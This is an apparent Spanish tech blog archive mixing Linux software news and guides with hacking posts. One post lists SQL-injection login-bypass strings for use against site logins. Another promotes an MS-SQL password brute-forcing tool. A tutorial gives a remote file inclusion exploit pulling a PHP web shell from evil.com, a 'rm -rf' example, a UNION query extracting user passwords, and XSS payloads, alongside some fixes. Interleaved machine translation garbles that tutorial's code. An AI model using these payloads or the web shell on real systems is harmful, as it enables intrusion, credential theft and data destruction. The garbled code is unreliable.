Por ahora el proyecto está todavía en fases tempranas de su desarrollo, aunque yo llevo un par de días usándolo intensamente y resulta muy estable. Si quieres probarlo puedes descargar el código fuente desde Launchpad o si estás en Ubuntu puedes instalarlo fácilmente añadiendo estos dos repositorios a tu lista de Orígenes de Software:

deb http://ppa.launchpad.net/do-testers/ubuntu intrepid main
deb-src http://ppa.launchpad.net/do-testers/ubuntu intrepid main

Una vez añadidos habrá que recargar la lista y actualizar el sistema para reemplazar la versión actual del paquete gnome-do con la del nuevo repositorio, que ya viene con Docky incluido de serie y activable desde las preferencias.

Con Docky ya no sólo podemos disfrutar de la rapidez y eficiencia de Gnome Do, sino que podemos trasladar esas ventajas a un fabuloso dock de aplicaciones que seguro va a tener una gran aceptación por parte de los usuarios. Yo, sinceramente, ya no puedo vivir sin él.

En Genbeta | Gnome Do y Katapult, lanzadores gráficos para Gnome y KDE
Video | Youtube
Enlace | Acerca de Docky
Enlace | Gnome Do

SkyDrive y Hotmail ofrecerán 50GB de almacenamiento gratuito

2009-01-14T17:01:00.000-08:00

Microsoft parece que no estar dispuesta a dar su brazo a torcer en el ámbito de los servicios online. No sólo incursionan en el ámbito de las redes sociales, sino que también toman decisiones audaces a la hora de ofrecer almacenamiento a sus usurios. Ahora nos enteramos de que Hotmail ofrecerá 25GB de espacio, y que como ya sabíamos, si por alguna razón llegamos a copar esa cuota, se nos darán 500MB más, cada vez que eso ocurra. Es decir tendremos almacenamiento infinito pero con un límite en la velocidad que lo ocupamos.

Tal como les habíamos adelantado en Genbeta, Hotmail y SkyDrive se integrarán. En vez de descargar los archivos adjuntos al local, podremos moverlos a SkyDrive, y así disponer de ellos en cualquier lugar, y/o compartirlos con otras personas. Sin embargo, SkyDrive ofrecerá 25GB adicionales a los de Hotmail. Es decir, tendremos 50GB en total si sumamos lo que nos ofrecen ambos servicios.

El espacio de SkyDrive estará compartido con Windows Live Photos, un servicio al estilo Picasa o Flickr (en breve lo estaremos reseñando). Esto significa que esos 25GB también nos servirán para guardar nuestros álbumes de fotografías, algo bastante interesante si pensamos que en Picasa web solo disponemos de 1GB para tales fines, y que si necesitamos más espacio tenemos que pasar por caja. Eso sí, se impondrá un límite de 1000 archivos mensuales para subir a SkyDrive, pero vamos, que es un tope bastante holgado (no se sabe si el límite vale también para las fotos).

Ahora solo queda ver como reacciona Google a esta movida, quien recordemos que casi duplicó la capacidad de Gmail cuando Hotmail empezó a ofrecer 5GB. Y también Apple, que tampoco queda muy bien parada cobrando 99 dólares anuales por un servicio de sincronización con “solo” 20GB de almacenamiento.

Por otro lado, sería interesante que Microsoft nos ofreciera la posibilidad de pagar por más almacenamiento en SkyDrive, pero fuentes al interior de Redmond nos han señalado que, al menos por ahora, no hay planes de una versión de pago de SkyDrive.

Vía | LiveSide

REMOTE SQL INJECTION

2008-12-31T09:00:00.001-08:00

Como me reto un amigo les señalo que esta forma es antigua pero que aun sirve.... Aqui muestro una de las formas de acceder inyectando la base de datos....solo tenemos que buscar el login de la pagina que comunmente es, */login.asp, */login.php, */phpmyadmin, etc.... o tambien podemos conectarnos a travez de algun cliente sql con la base de datos.... es aqui cuando les comento que usen linux o bsd, ya que estos entregan mejores herramientas para buscar logins o ip de administracion.

aqui les dejo los codigos.......

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

hasta la vista ......fuckers......

piggy - Download MS-SQL Password Brute Forcing Tool

2008-12-30T20:52:00.000-08:00

Guarra es otra herramienta para realizar ataques a contraseñas en línea que conjetura contra los servidores de Microsoft SQL.

Apoya los servidores múltiples de la exploración usando un archivo de diccionario o un archivo con cuentas predefinidas (las combinaciones del username y de la contraseña).

Es una herramienta simple bonita y tiene una verson binaria Win32 - es una línea de comando herramienta sin embargo.
Piggy v1.0.1 by patrik@cqure.net
--------------------------------
usage: piggy [options]

options:
-u [username] - Single username
-p [password] - Single password
-s [server] - Single server
-S [srvfile] - File containing ip/hostnames
-D [dicfile] - File containing passwords
-A [accounts] - File containing username;password combinations
-N - Do not check availability before scan
-v verbose - Verbose logging

Puedes descargarlo aquí:

Descarga 1
Descarga 2

Botnet en Nueva Modalidad,Con Ataques de Inyeccion Sql

2008-12-30T20:50:00.000-08:00

Ahora se trata de un interesante giro de los acontecimientos, la Asprox botnet malware está siendo utilizada para difundir Inyección SQL en lugar de herramientas de envío de "phishing" e-mails como antes.

Parece bastante para instalar furtivamente y disfrazar como un servicio Windows, con bastante fiabilidad en el nombre de archivo. Es sin duda interesante ver la evolución de este tipo de malware, lo que será la próxima?

Una botnet es equipar a su ejército de computadoras comprometidas con un ataque de inyección SQL herramienta para vulnerar los sitios Web, los investigadores de SecureWorks lo han descubierto.

Según SecureWorks, Asprox la botnet, una vez utilizados exclusivamente para enviar phishing e-mails, está impulsando la herramienta a sus sistemas en red a través de un binario con el nombre de archivo msscntr32.exe. El ejecutable se instala como un servicio del sistema con el nombre de "Centro de seguridad de Microsoft de Extensión."

A pesar del nombre, el fichero es en realidad un ataque de inyección SQL herramienta que cuando se inició la búsqueda de Google. Asp páginas que contienen ciertos términos. A continuación, lanza ataques de inyección SQL contra los sitios web devuelto por la búsqueda.

La mala noticia es que no muchos vendedores de AV son la detección de que, sin embargo, parece que no es más que otra vía o vector de la infección por el Asprox malware. . Se inyecta en un IFRAME vulnerables páginas que dará lugar a la descarga de la Asprox infector.

La tormenta hizo una variación de este como se indica a través de FTP.

De acuerdo con una lista de VirusTotal, sólo un puñado de los principales anti-virus son la detección de la herramienta de ataque en este momento.

director of malware research at SecureWorks. "Esta es la primera vez que he visto una herramienta de inyección SQL, pero sin duda otros botnets han tratado de difundir de una manera similar, que infecta sitios web con iframes", dijo Joe Stewart, director de investigación de malware en SecureWorks. "Por ejemplo, la tormenta intenta obtener su contraseña en caso de que acceda a un sitio Web con FTP, y poner un iframe en la página para usted."

Hasta el momento, SecureWorks ha encontrado 1000 sitios Web infectados por esta ola de ataques SQL. Los visitantes de estos sitios Web infectados se infectan con el Asprox malware-convirtiéndolos en robots-y también descargar algunos scareware.

Parece como una escala bastante pequeña infección por el momento, pero es sin duda una tendencia preocupante. Parece que los chicos malos son definitivamente mantener el ritmo de las últimas vulnerabilidades en aplicaciones Web y en línea lenguas y que ellos están utilizando para difundir sus productos.

Es bien interesante esta botnet ya que cada vez evolucionan mas en el tipo de ataque que efectua,parece ser que es la misma variacion que la pasada,a diferencia que esta vez realiza ataques de Sql injection :) interesante......

Encontre interesante esto que lo disfruten ^^

Fuente | Aqui

Introduccion a Ataques Aplicaciones webs

2008-12-30T20:40:00.000-08:00

-= Intro -
en este tutorial, vamos a discutir las vulnerabilidades, y qué va mal con el server, y algunas formas de explotar ...
Disfrute!

Tutorial: [Básico | | 1]

+------------------------------------------+
|
| | Principiantes | |
|
+------------------------------------------+

Cosas a saber:

Vulnerabilidad: un agujero de seguridad puede ser explotado para cambiar la forma en que el webapp / software / funcione.

=- CMS, Foros utilizan bases de datos para almacenar la información como usuarios, los puestos, los hilos, mensajes y así sucesivamente, por lo general su / la mayoría de un servidor MySQL.

=- RFI [Inclusión del fichero remoto]: un usuario malicioso puede incluir una "mala aplicacion" o código a ser ejecutado en el sitio vulnerable.

=- LFI [Inclusión de archivos locales]: un usuario malicioso puede abrir cualquier archivo en el servidor.

=- SQL Inyección: La inyección de una consulta MySQL para eludir o recibir más información de una base de datos.

=- [Cross Site Scripting]: si se trata de una vulnerabilidad permanente, donde los usuarios se guarda la entrada, el usuario puede acceder cookies, IP, y mucho más ...

=- Exploit: un script para usar maliciosamente ante una vulnerabilidad.

+------------------------------------------+
| | ¿Qué va mal | |

+------------------------------------------+
. Vamos a tomar cada vulnerabilidad, y tomar un look a lo que va mal con el desarrollador web, que ha hecho el script vulnerable ...

=- RFI::
RFI's son explotados mediante la inclusión de un codigo malicioso desde otro sitio, a los sitios vulnerables, por ejemplo, puedes incluir una PHP-Shell, y ejecutar comandos en el servidor usando ...
. esta vulnerabilidad es muy peligrosa, un sitio vulnerable se puede comprometer fácilmente ...

un ejemplo de un código infectado con un RFI:

$page = $_GET['page']; $ page = $ _GET [ 'page'];

if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )

?> >

como pueden ver, estamos tomando la variable de la página y, entre ellos, ahora que el script trabajo y hacer lo que está supuesto a hacer, por ejemplo:

www.example.com/index.h4x?page=contact.h4x

esto abriría contact.h4x, pero lo que un usuario malicioso hacer?

www.example.com/index.h4x?page=http://www.evil.com/shell.txt?

la extension del código debe estar en un archivo txt, porque de esta manera el código será analizada y ejecutada en el sitio vulnerable.

--- que pasa entonces?

$page = $_GET['page']; $ page = $ _GET [ 'page'];

if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); include ( "http://www.evil.com/shell.txt?");
} )

?> >

el archivo de texto que se incluyó, por lo que digamos los shell.txt tuvo el siguiente código:

$command = $_GET['cmd']; $ comando = $ _GET [ 'cmd'];

if ($command) if ($ comando)
{ (
@system($command); @ sistema ($ comando);
} )
echo " echo "

"; ";

?> >

un pequeño cuadro de texto aparecera en la página, con un botón, que ejecuta comandos ... the el usuario puede comprometer la totalidad del sitio usando este sencillo cuadro de texto, si hubiera suficientes privilegios

rm -rf rm-rf

y borrar los archivos ...

algunos desarrolladores, creen que pueden arreglar la vulnerabilidad de la siguiente manera:

$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";

if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )

?> >

de esta manera, sólo se puede incluir.archivos php, y que no es realmente una gran causa que PHP se analiza en el lado del servidor ...

pero, que acostumbra dejar a algunas personas, hay algo llamado NullByte, que simplemente decirle a PHP para hacer caso omiso de cualquier cosa después de que ... si alguien quería aprovechar ese código, que haría:

www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? 00%

como se puede ver, el [00%] es la NullByte, que se analiza de esta manera:

$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";

if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); // ignoring anything after the NullByte, which is in this case, the .php... include ( "http://www.evil.com/shell.txt?"); / / ignorar nada después de la NullByte, que es en este caso, el. php ...
} )

?> >

por lo que la cuestión ahora es cómo garantizar por completo este sistema de URL?

así, puede usar un interruptor declarador, y de esta manera, cualquier cosa distinta de lo que ya se ha dicho, no será incluido .. por ejemplo:

if(isset($_REQUEST['page'])) if (isset ($ _REQUEST [ 'página']))
{ (
switch ($_REQUEST['page']) { switch ($ _REQUEST [ 'página']) (

case 'about': caso 'sobre':
include('about.php'); // if the page was about, get the about.php contents... include ( "about.php '); / / si la página se acerca, about.php obtener el contenido ...
break; break;

case 'contact': caso "Contacto":
include('contact.php'); // and so on :) include ( 'contact.php'); / / y así sucesivamente:)
break; break;

default: por defecto:
include('index.php'); // the default page to include, if the page variable was not found, or it was a hack attempt :) include ( 'index.php'); / / la página por defecto para incluir, si la variable de página no encontrada, o se trataba de un intento de cortar:)
break; break;

} )

} )

?> >

es un sistema perfecto, simple y seguro, y funciona:)

ahora que se hace, RFI, es como LFI, nada es diferente, pero el hecho de que sólo el LFI se encuentra en las páginas del servidor, la mayoría de las veces descargar scripts están infectados con el LFI, causa que se hacen a readfile (); sea cual sea es xD .. Solo es mal codeo xD.

Ahora NOS desplazamos a las inyecciones de SQL, esas son mortales cuando los sitios de comercio electrónico están infectadas con ellas!

un usuario malicioso podría explotar un código de inyeccion sql, para eludir un formulario de autentificación, y la tabla de mysql como admin.

o mediante la inyección de la URL para que pueda ejecutar la consulta de MySQL, lo que le permitirá acceder a información de los usuarios, y así sucesivamente ...

ejemplo de código vulnerable:

$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";

mysql_connect($host, $user, $pass); mysql_connect ($ host, $ usuario, $ pass);
mysql_select_db($db); mysql_select_db ($ db);

$id = $_GET['id']; $ id = $ _GET [ 'id'];

if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )

?> >

ahora, como pueden ver, toma el 'id' variable, y la consulta, sin filtros

ahora si queres inyectar, i en primer lugar, para comprobar la vulnerabilidad ....: haciendo lo siguiente:

www.example.com/page.php?id=1 OR 2 www.example.com/page.php?id=1 O 2

elemental y explicado milesima de veces pero aveces o para los nuevos vale recalcarlo

SI 2 noticias estaba allí, entonces eres afortunado:(o sea en la tabla) D, y aquí viene la parte buena, cuando la información se extrae, mediante un comando UNIÓN, i puede seleccionar de otra columna, y el eco que allí ...

para hacer una inyección sería el siguiente:

www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users

ahora en función del número de filas en la columna de noticias, i tendrá que cambiar el número de filas seleccionadas ...

por lo que ahora sabremos lo que salió mal, seguro que permite inyecciones!

$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";

@mysql_connect($host, $user, $pass); // adding the @ sign will make it error free, no errors is shown if the DB couldnt be selected or connection refused @ mysql_connect ($ host, $ usuario, $ pass); / / añadir el signo @ se hará libre de errores, los errores no se muestra si el PP podría ser seleccionado o conexión rechazada
@mysql_select_db($db); @ mysql_select_db ($ db);

$id = (Int) $_GET['id']; // now we are telling PHP that id is an Integer, do not process anything else.. $ id = (int) $ _GET [ 'id']; / / ahora estamos diciendo que PHP id es un número entero, no proceso de cualquier otra cosa .. ;) ;)

if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )
?> >

es decir, este código es seguro/.............. ...
====================================
ahora nos desplazamos a XSS, no es realmente un gran problema si no es algo curioso!

ejemplo de XSS sería en un libro de visitas, comentarios, formularios de contacto, listas de correo, etc ..

que puede el usuario malicioso hacer?

puede usar un javascript para cambiar el título, formas, precios, datos ocultos, las páginas, las acciones, y peor aún, acceder la página!
algunos CMS y Foros, utilizan las cookies y los usuarios almacenar la información de ellos, si ese sitio es vulnerable a XSS, el atacante puede obtenerprivilegios de administrador de la tabla de administradores en las/o con las cookies ...

un codigo vulnerable sería el siguiente:

$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];

if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (

echo "Thank you, your message has been posted!"; echo "Gracias, tu mensaje ha sido publicado!";

echo "
"; echo "
";

echo $message; echo $ mensaje;
} )

echo " echo "

"; ";

?> >

ok, por lo que ahora un usuario malicioso podría hacer lo siguiente:

presentar el siguiente texto para probar la vulnerabilidad:

alert("xss") alert ( "XSS")

or o

Nice Website! Niza sitio web

Si el HTML se analiza "y que en el presente Código", el atacante pasará ahora al siguiente paso, en la tabla de la página .. redireccionando a un logger ..

algunos métodos de saltar algunos filtros, por ejemplo, si el formulario sólo presenta enlaces, permite tomar éste como un ejemplo:

$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];

if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (

echo "Thank you, your link has been added!"; echo "Gracias, su vínculo se ha añadido!";

echo "
"; echo "
";

echo "Link";; echo " Link ";
} )

echo " echo "

"; ";

?> >

ahora que no se debe analizar nada, sino simplemente envuélvalo en un enlace derecho?

Bueno, no lo creo, simplemente puede eludir usando:

'> alert("owned") '> Alert ( "propiedad")

¿por qué que lo salta?

lo que sucede, es

'> '>

se detendrá una etiqueta y, a continuación, puede abrir cualquier otra cosa ...

aquí está el resultado:

alert("owned")'>Link alert ( "propiedad") "> Vínculo

como pueden ver, la etiqueta tiene unas > cerradas, que me permitió abrir otra etiqueta, que es un script y funciona:)

+------------------------------------------+
| | FIN | |
+------------------------------------------+

Espero que hayan disfrutado de este tutorial, y aprendido algo nuevo en el.

no mucho pero algo un poco novaton para que empiezen en algo...

Creado por Romeo editado por h4xxor

[Ubuntu/Debian] Instalación automática de drivers de Nvidia/Ati

2008-12-30T13:03:00.000-08:00

Instalación automática de drivers de Ati y Nvidia de nuestra tarjeta gráfica bajo Ubuntu / Debian

Indice Manual :

Enlace | Descargar Manual

Alta Disponibilidad en Linux

2008-12-30T12:05:00.000-08:00

Siempre en las empresas, organizaciones u otras entidades, se necesitan servicios Webs, Ftp, Firewalls, etc. Pero que ocurre si uno de nuestros servidores que esta entregando un servicio o mas de uno se cae por cualquier tipo de problema?.......cuack

Hoy les entregare un manual que cree para ustedes, cuando a mi me sucedio esto... solo vasta seguir los pasos y todo estara automatizado para una alta disponibilidad utilizando una hertbeat, ssh, rsync y cron

manual creado en fedora 6 (Kernel 2.6.18-1.2869.fc6)

I.- INSTALACION DE SOFTWARE Y CONFIGURACION

1. INSTALACION

• Instalación mediante Yum

Root@equipo# #yum search heartbeat
Root@equipo# #yum install heartbeat.i386

2. VERIFICACION DE HEARTBEAT

• Verificar si la instalación quedo en buen estado

Root@equipo# yum info heartbeat
Root@equipo# cd /etc/init.d
Root@equipo# ./heartbeat start
Root@equipo# ./heartbeat status

Si se muestra OK se puede continuar, de lo contrario se tienen que volver a realizar los pasos anteriores o instalar otra versión de heartbeat

3.CONFIGURACION DE HEARTBEAT

Ahora se deben de copiar los archivos haresources, authkeys y ha.cf que se encuentran en /usr/share/doc/heartbeat* (dependiendo la versión instalada) hacia /etc/ha.d

Comienza ahora la configuración de los archivos. La configuracion debe quedar mas o menos como estos:

HA.CF

## /etc/ha.d/ha.cf on node1
## This configuration is to be the same on both machines
## This example is made for version 2, comment out crm if using version 1

keepalive 1
deadtime 5
warntime 3
initdead 10
# serial /dev/ttyS0 /*interfaz si es que vamos a salir por Puerto serial-
bcast eth1 /*interfaz por donde salemos*/
auto_failback yes
node testsvr.intranet /*nodos*/
node testsvr2.intranet
crm on # comment out if using version 1.2.3

Después enviar el archivo a el Segundo nodo de esta forma # scp /etc/ha.d/ha.cf root@node2:/etc/ha.d/

HARESOURCE

Este archivo debe de quedar más o menos así:

## /etc/ha.d/haresources
## This configuration is to be the same on both nodes

testsvr.intranet 192.168.1.3 drbddisk Filesystem::/dev/drbd0::/data::ext3 named
testsvr2.intranet 192.168.1.2 drbddisk Filesystem::/dev/drbd0::/data::ext3 named
[servidor ] [ip a demostrar ] [file system] [demonios]

AUTHKEYS

## configuracion de seguridad que pueden se puede variar pueden ser(ssh)
auth 1
1 crc

Después le cambiamos el permiso que este tiene y se lo asignamos a nivel 600 de la siguiente forma:

Root@equipo# chmod 600 /etc/ha.d/authkeys

4. COPIA DE ARCHIVOS EN NODOS

Copiamos los archivos que modificamos en el segundo nodo sin realizarle ningún cambio

6. VERIFICAR LA FUNCIONALIDAD

Verificar primero la hora y fecha en ambos equipos o machines.
Ver si se esta viendo una maquina a la otra con:

Root@equipo# crm_mon -i2

II.- RSYNC

RESPALDOS CON RSYNC (1RA OPCION)

Esta opción sirve para cuando por ejemplo solo se quiere respaldar de una maquina solamente a otra por que se sobrecopían los archivos. Para lograr respaldo de rsynk con heatbeat en forma automatizada he creado un bash que lo puede realizar.

#!/bin/bash
echo "Iniciando Backup desde Secundario a Primario: archivos samba carpeta publico"
rsync -alptvo -delete -e ssh root@secundario.intranet:/usr/publico/ /usr/publico/
#echo "Backup de Publico realizada"

Este se tiene que guardar en una archivo que sea .sh y agregar al CRON de la maquina para que se ejecute cada cierto tiempo. El cron puede quedar como esto (archivo de configuración de cron es /etc/cronttab)

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
#PATH=/usr/local/sbin:/usr/local/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
* * * * * root /root/respaldo.sh /* con esta configuración se ejecuta a cada rato*/

RESPALDOS CON RSYNC (2DA OPCION)

con esta opción puedes llegar a ser que cuando un servidor se encuentre abajo no realice sincronización. Esto es posible mediante el siguiente script en bash de la cual realiza una comprobación de host y procesos de heartbreat. El codigo es el siguiente.

#!/bin/bash
#
#**********************************************************************
# Verificador de servicio Heartbeat para Rsync
#**********************************************************************
#
#
#
var1=primario.intranet
var2=/usr/lib/heartbeat/mgmtd
echo Vigia a la espera . . .

#result= crm_mon -1 | grep heartbeat |awk '/1/ {print $4}' > /root/.a001
result= ps x|grep "mgmtd -v" | awk '/3/ {print $5}'
if [ $var2=$result ]
rsync -alptvo -delete -e ssh root@secundario.intranet:/usr/publico/ /usr/publico/
echo "Backup Realizado .................. [ OK ]"
then
else
echo "Backup en espera .................. [ FALLO ]"
fi

exit

Posteriormente a esto hay que también agregarlo a cron para que lo ejecute dependiendo de el requerimiento quedando mas o menos así:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
#PATH=/usr/local/sbin:/usr/local/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
* * * * * root /root/vigia.sh /* con esta configuración se ejecuta a cada rato*/

manual con licencia GPL sobre el blog

La mejor Distribucion....linux

2008-12-30T11:35:00.000-08:00

Soy amante de BSD (FreeBSD y OpenBSD), desde ya hace muchos años utilizo herramientas libres, pasando por diferentes distribuciones, sistemas operativos, aplicaciones, etc......Un dia un amigo informatico, me comento de archlinux, quede medio plop con el nombre, pero lo baje y lo instale. Esta distribucion es la unica que me a dejado satisfecho, comparadas con las otras. Su funcionamiento basado en i686, su sistema de instalacion de paquetes, entre otros, para mi es el mejor en el mercado. Ahora su instalacion es lo mas complicado, lo que tambien me deja satifecho, ya que existen personas que se sobran en decir ...." yo soy administrador linux o unix "...... y solo ocupan ubuntu y ni siquiera saben lo que es anaconda o MBR.....

Bueno, solo quiero comentar sobre la mejor distribucion IMHO es la mejor...pero solo para personas que conocen de linux, tampoco sin dejar de lado otras distros...

Nuevo récord mundial en velocidad de transferencia de datos

2008-12-29T21:55:00.001-08:00

Un nuevo record de velocidad en la tranferencia de grandes cantidades de datos entre sistemas de almacenamiento ha sido logrado, concretamente 114 gigabits por segundo (Gbps).

Los encargados de tal proeza utilizó redes de alta capacidad y herramientas y aplicaciones de última generación, y han sido liderados por el Instituto de Tecnología de Californía (CALTECH).

Estos 114 Gps fue el pico alcanzado sobre un flujo de datos sostenido en más de 110 Gbps entre clusters de servidores durante la reciente conferencia SuperComputing 2008, que ha tenido lugar en Austin, Texas.

Con estas velocidades, el Gran Colisionador de Hadrones (LHC) de la Organización Europea para la Investigación Nuclear (CERN) tendría un sistema de telecomunicaciones acorde a tan descomunal y meritoria ambición.

Evolution: Calendario digital, cliente de e-mail y más

2008-12-29T19:27:00.000-08:00

Antes necesitábamos un calendario digital para gestionar nuestras tareas diarias, o un cliente de correo electrónico para controlar nuestras cuentas electrónicas; ya con Evolution se acabó pues, en un sólo programa se combinan éstas y más aplicaciones.

Evolution es un software para Linux (claro está) que combina varias operaciones de comunicación como lector de noticias, cliente de correo electrónico, calendario digital donde gestionar nuestras notas diarias y mucho más.

Con Evolution podrás gestionar tus correos electrónicos con diversas funciones como indexación automática (para monitorear tus correos), filtros, modos HTML y texto, gestión de archivos adjuntos, encriptación y cifrado para mejorar la seguridad.

También incluye un ‘calendario digital’ con el que podemos gestionar nuestras tareas diarias, como citas o compromisos, con compatibilidad íntima con Palms, una completa agenda electrónica, lista de tareas, búsqueda inteligente y mucho más.

Y por último un gestor de direcciones de contacto; Evolution te permitirá gestionar las tareas en grupo para planificar y organizar eventos, soporte para LDAP, VCard, vCal e iCal, puedes enviar tus tarjetas de comercio electrónico a contactos, entre otras cosas.

Sitio oficial | Evolution
Descargar Evolution

Subiendo imágenes a Flickr y Zooomr con jUploadr

2008-12-29T19:26:00.000-08:00

Si eres un usuario que frecuente servicios de alojamiento de imágenes online como Flickr o Zooomr, y estás buscando una nueva forma de subir las imágenes que sea más rápida, fácil y práctica, este pequeño gran programa está diseñado especialmente para ti. jUploadr es un programa que te permite subir imágenes a tus cuentas tanto de Flickr como de Zooomr.

En principio comentar que jUploadr es multiplataforma, existe una versión para Windows, Mac OS X y Linux. El uso es bastante sencillo. Concretamente es un cargador de imágenes que te permitirá subir tus fotografías de la forma más simple posible.

Una de las cualidades más interesantes de jUploadr es que puedes gestionar múltiples cuentas de usuarios, y con un simple ‘arrastrar y soltar’ imágenes al programa, podrás subir varias a la vez de manera simultánea. En definitiva, una útil opción.

Sitio oficial | jUploadr
Descargar jUploadr

TuxGuitar: Reproductor y editor de partituras para Linux

2008-12-29T19:24:00.002-08:00

Si eres un maniático del software libre y lo tuyo es estar al día con tu Linux, y que todos los programas tengan que ver con la filosofía del mismo; y de paso, si eres guitarrista y deseas muy profundamente un software para reproducir y editar partituras en Linux, al parecer has llegado al post que buscabas. TuxGuitar es un software para Linux que se enfoca en la reproducción y edición de partituras: sus aires están enfocados en Linux (¿será por Tux?), y tiene un parecido similar al clásico Guitar Pro.

TuxGuitar es un excelente proyecto emprendido por unos argentinos que se enfoca en la composición de música pues integra un excelente editor de tablaturas (partituras) de guitarra y como se presencia en la captura anterior, es de lo más intuitivo.

Hablando de la interfaz del programa decir que tiene un mástil de guitarra virtual en el cual puedes ir seleccionando los trastes, acordes, tonos y lo que sea que fuere que necesites. Es una buena opción para los novatos que quieran aprender fácilmente a tocar la guitarra.

Otras de las características de TuxGuitar es la reproducción de múltiples pistas, una excelente gestión del tiempo de cada tonalidad, incluye varios efectos (vibrar, el famoso hammer y otros más), puedes importar y exportar en formato GP3, GP4 y GP5.

Visto en Bitelia
Sitio oficial | TuxGuitar
Descargar TuxGuitar

Descargar gratis el juego tetris con Vertris

2008-12-29T19:24:00.001-08:00

Vertris es un excelente clon de tetris que funciona sobre Linux de una manera fenomenal. Si necesitas un tiempo de relajación y distracción, lo mejor es que tomes un par de horas y empieces a jugar con este clon para que veas cómo se va el tiempo.

El diseño de Vertris es impecable como se puede presenciar en la captura. Con un toque en tercera dimensión, este clon nos ofrece un gustoso diseño. Un detalle a destacar es que funciona sobre Windows y Linux, y su código es libre.

Sitio oficial | Vertris
Descargar Vertris

Nodezilla, para intercambiar archivos anónimamente

2008-12-29T19:23:00.002-08:00

Nodezilla es un novedoso cliente P2P (peer-to-peer) diseñado para Windows y GNU/Linux, cuyo fin está bien planteado: ofrecerte una plataforma segura para compartir ficheros, pero haciéndolo de forma anónima, sin que nadie sepa de tu existencia.

Estamos en presencia de un novedoso protocolo. Entre otras cosas, Nodezilla nos permite además, similarmente como lo hace Emule, conectarnos vía web mediante un cliente que en su página oficial facilitan. Además permiten el streaming de vídeos, tiene un sistema de mensajería instantánea incluido, puedes compartir fotos y más.

Por otro lado, Nodezilla tiene un buen sistema de caché por lo que cada archivo quedará siempre disponible para descargarlo, así no hayan fuentes. De esta forma se deduce que este cliente P2P contiene una novedosa tecnología bien interesante.

Visto en la Wikipedia
Sitio oficial | Nodezilla
Descargar Nodezilla

Asunder, ripeador de CDs de música para Linux

2008-12-29T19:23:00.001-08:00

Refrescando un poco los términos informáticos, el hecho de ripear un CD consiste en extraer todas las pistas del mismo (siempre y cuando éste sea de música) en un formato de audio estándar (MP3, WAV, OGG, etc) para así poderlas tener a nuestra disposición.

Asunder es un software para Linux de licencia open source con el cual nosotros podremos realizar esta operación. Extraer todas las pistas de cualquier CD de música, en varios formatos y de una forma bastante sencilla bajo su interfaz gráfica.

Los formatos que soporta Asunder para la extracción son WAV, MP3, Ogg Vorbis, y los ficheros de audio FLAC. Además, el programa se conecta a un servicio de bases de datos online para obtener los nombres para las etiquetas de las canciones.

Sitio oficial | Asunder
Descargar Asunder

PyTube, descargar vídeos de Youtube en Linux

2008-12-29T19:22:00.000-08:00

Si eres usuario de Linux, quizás alguna vez quisiste descargar un vídeo desde Youtube. Y como todas las alternativas que existen, en su mayoría o casi totalidad, son para Windows, pues ya ves que careces de software para Linux que sea para éste hecho.

Lo que anteriormente planteamos era una realidad hasta que conocí PyTube, un software para Linux que cumple con esta tarea de una forma bastante eficaz. De uso sencillo, cuenta con una interfaz intuitiva que te ayudará a bajar vídeos de Youtube en Linux.

Básicamente, PyTube tiene cuatro funciones principales. Comenzando por descargar los vídeos de Youtube, por otro lado convertir los vídeos a varios formatos como OGM, AVI, MP4 o 3GP; asimismo incluye un buscador de vídeos y la última, que serían “las últimas” pues se trata de varias herramientas multimedia para gestionar los vídeos descargados.

Vía | Genbeta
Sitio oficial | PyTube
Descargar PyTube

Ejecuta aplicaciones de Windows y Linux simultáneamente

2008-12-29T19:20:00.001-08:00

